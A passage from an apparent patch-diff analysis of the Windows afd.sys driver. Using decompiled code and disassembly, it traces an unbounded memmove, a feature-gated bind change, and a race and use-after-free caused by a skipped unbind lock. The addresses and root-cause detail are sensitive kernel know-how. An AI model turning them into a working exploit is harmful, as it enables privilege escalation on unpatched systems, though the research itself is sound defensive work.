&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// unbounded&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// unbounded&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched build wraps the same copies in a feature-gated branch that clamps the length to the destination capacity &lt;code&gt;(u16)Parameters.Read.ByteOffset.LowPart&lt;/code&gt; and adds a &lt;code&gt;&amp;gt;= 6&lt;/code&gt; minimum-size guard:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// NEW minimum-size guard&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// destination capacity&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v62&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v58&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v58&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v62&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NEW clamp to capacity - 2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v62&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v58&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v58&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NEW clamp to capacity - 8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature-off fallback == the old unbounded copy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v71&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v72&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The low similarity (0.2334) is driven by this added clamp block plus relocation. The following claims that appeared under this heading are &lt;strong&gt;not&lt;/strong&gt; supported by the binaries and have been removed: the &lt;code&gt;rax_1 &amp;lt; 0x14 || rax_1 &amp;gt; 0xfffffff3&lt;/code&gt; bound, the &lt;code&gt;ExAllocatePoolWithQuotaTag(size = rax_1 + 0xc)&lt;/code&gt; allocation, the &lt;code&gt;rax_6 &amp;lt; 0x20&lt;/code&gt; output check, the &lt;code&gt;IoIs32bitProcess&lt;/code&gt;-aware 8/16-byte output sizing, and the input-length bounds check are all present &lt;strong&gt;identically in both builds&lt;/strong&gt; (they are pre-existing, not added by the patch). There is &lt;strong&gt;no&lt;/strong&gt; &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; (0xC0000022) path in either build.&lt;/p&gt;
&lt;h3&gt;Finding 3 — Low severity (feature-gated behavioral tweak, not a memory-safety fix)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdBind&lt;/code&gt; @ &lt;code&gt;0x1C0038DB0&lt;/code&gt; (AFD bind handler).&lt;/li&gt;
&lt;li&gt;The one real code change: the raw-socket security region is now gated behind &lt;code&gt;Feature_3299291449__private_IsEnabledDeviceUsage()&lt;/code&gt; (at &lt;code&gt;0x1C0009C00&lt;/code&gt;), with a new &lt;code&gt;Irp-&amp;gt;RequestorMode == 0&lt;/code&gt; branch. When the feature is enabled, a non-raw &lt;strong&gt;user-mode&lt;/strong&gt; bind passes &lt;code&gt;0x101&lt;/code&gt; instead of &lt;code&gt;0x100&lt;/code&gt; as the 7th argument to &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;, while kernel-mode binds keep &lt;code&gt;0x100&lt;/code&gt;. With the feature disabled the function behaves exactly as before.&lt;/li&gt;
&lt;li&gt;This does &lt;strong&gt;not&lt;/strong&gt; add or remove a "who can bind" gate: the raw-socket &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; check (&lt;code&gt;AfdDisableRawSecurity == 0 &amp;amp;&amp;amp; *(byte)(obj+3) == 0&lt;/code&gt;, status &lt;code&gt;0xC0000022&lt;/code&gt;) is preserved unchanged and fires identically for user and kernel callers. All of the previously listed data/global/completion-routine "changes" (&lt;code&gt;data_1c002a7d8&lt;/code&gt;→&lt;code&gt;data_1c002a7f8&lt;/code&gt;, the &lt;code&gt;sub_1c006c6xx&lt;/code&gt;/&lt;code&gt;sub_1c003e8xx&lt;/code&gt;/&lt;code&gt;sub_1c003e7xx&lt;/code&gt; shifts, &lt;code&gt;data_1c002a640&lt;/code&gt;→&lt;code&gt;data_1c002a660&lt;/code&gt;, the helper and telemetry-global shifts) are relocation artifacts: each address resolves to the same named symbol in both builds (&lt;code&gt;AfdGlobalData&lt;/code&gt;, &lt;code&gt;AfdRestartBindGetAddress&lt;/code&gt;, &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;, &lt;code&gt;AfdIsAddressInUse&lt;/code&gt;, &lt;code&gt;AfdPriorityBoost&lt;/code&gt;, &lt;code&gt;AfdGetTransportInfo&lt;/code&gt;, &lt;code&gt;AfdTdiSetEventHandlers&lt;/code&gt;, and the per-build WPP trace-GUID global). Not a memory-safety fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4 — High severity (race condition / use-after-free from missing unbind synchronization)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Kernel race condition from missing synchronization, leading to use-after-free (CWE-362, leading to CWE-416).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected functions (three locations, same mechanism):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdSocketTransferEnd&lt;/code&gt; @ &lt;code&gt;0x1C005F9A0&lt;/code&gt; (same address both builds; content changed).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdSocketTransferBegin&lt;/code&gt; @ &lt;code&gt;0x1C005FBF0&lt;/code&gt; → &lt;code&gt;0x1C005FBE0&lt;/code&gt; (relocated; matched by content).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdGetInformation&lt;/code&gt; @ &lt;code&gt;0x1C00397E0&lt;/code&gt; → &lt;code&gt;0x1C00397F0&lt;/code&gt;, the deliver-status handler (&lt;code&gt;[rbx+2]&lt;/code&gt; value 3/4 path reached via the query buffer).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;These handlers run for BTHMS_RFCOMM-backed sockets (gated by &lt;code&gt;RtlEqualUnicodeString(L"\Device\BTHMS_RFCOMM")&lt;/code&gt;). Each one forwards an IRP to the underlying transport: &lt;code&gt;AfdSocketTransferBegin&lt;/code&gt; / &lt;code&gt;AfdSocketTransferEnd&lt;/code&gt; call &lt;code&gt;IofCallDriver&lt;/code&gt; then &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; on the connection's device object (&lt;code&gt;rdi&lt;/code&gt;) and file object; &lt;code&gt;AfdGetInformation&lt;/code&gt; calls &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; on the connection's file object (&lt;code&gt;*(rbx+0x18)&lt;/code&gt;). Before doing so they are supposed to take an unbind lock, &lt;code&gt;AfdPreventUnbind&lt;/code&gt;, and release it afterward with &lt;code&gt;AfdReallowUnbind&lt;/code&gt;. &lt;code&gt;AfdPreventUnbind&lt;/code&gt; is what stops a concurrent &lt;code&gt;AfdUnbind&lt;/code&gt; from freeing/tearing down the connection while the I/O is outstanding.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;unpatched&lt;/strong&gt; build this lock is taken only when a private feature flag is enabled. &lt;code&gt;AfdSocketTransferBegin&lt;/code&gt;/&lt;code&gt;End&lt;/code&gt; gate it behind &lt;code&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/code&gt;; &lt;code&gt;AfdGetInformation&lt;/code&gt; gates it behind &lt;code&gt;Feature_51867961__private_IsEnabledDeviceUsage&lt;/code&gt;. When the flag is off, the gate check jumps straight past &lt;code&gt;AfdPreventUnbind&lt;/code&gt; into the &lt;code&gt;IofCallDriver&lt;/code&gt;/&lt;code&gt;KeWaitForSingleObject&lt;/code&gt; (or &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt;) sequence with &lt;strong&gt;no&lt;/strong&gt; unbind protection, and the matching &lt;code&gt;AfdReallowUnbind&lt;/code&gt; is skipped as well. A concurrent &lt;code&gt;AfdUnbind&lt;/code&gt; on the same endpoint can then free the connection's device/file object while this path is dereferencing it and waiting on it: a use-after-free / race window.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;patched&lt;/strong&gt; build the feature gates are removed entirely. &lt;code&gt;AfdPreventUnbind&lt;/code&gt; is now called unconditionally (subject only to the pre-existing AFD magic/flag short-circuits) and &lt;code&gt;AfdReallowUnbind&lt;/code&gt; is called unconditionally on the way out. The gate functions themselves are gone: &lt;code&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;Feature_831225147__private_IsEnabledFallback&lt;/code&gt;, &lt;code&gt;Feature_51867961__private_IsEnabledDeviceUsage&lt;/code&gt;, and &lt;code&gt;Feature_51867961__private_IsEnabledFallback&lt;/code&gt; do not appear anywhere in &lt;code&gt;afd_patched.sys&lt;/code&gt; (symbol-set diff: present in the unpatched image, absent in the patched image). Because the gate and its unprotected fallback path are both deleted, this is a genuine hardening fix that makes the lock mandatory, not feature-staging with the old path retained.&lt;/p&gt;
&lt;h4&gt;Evidence — &lt;code&gt;AfdSocketTransferEnd&lt;/code&gt; @ &lt;code&gt;0x1C005F9A0&lt;/code&gt;&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === UNPATCHED: unbind lock is gated behind the feature flag ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FA72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FA77&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FA79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C005FB29&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; skip AfdPreventUnbind entirely&lt;/span&gt;
&lt;span class="c1"&gt;; ... (AFD magic/flag short-circuits) ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdPreventUnbind&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; reached ONLY when the feature is ON&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAC2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; remember to reallow later&lt;/span&gt;
&lt;span class="c1"&gt;; --- feature-OFF path: straight into the transfer, no lock held ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB29&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB2C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C005FAD5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;E8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCallDriver&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; I/O on connection device/file object, unprotected&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FBAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeWaitForSingleObject&lt;/span&gt;
&lt;span class="c1"&gt;; --- reallow is also gated by the same flag ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FADA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/span&gt;
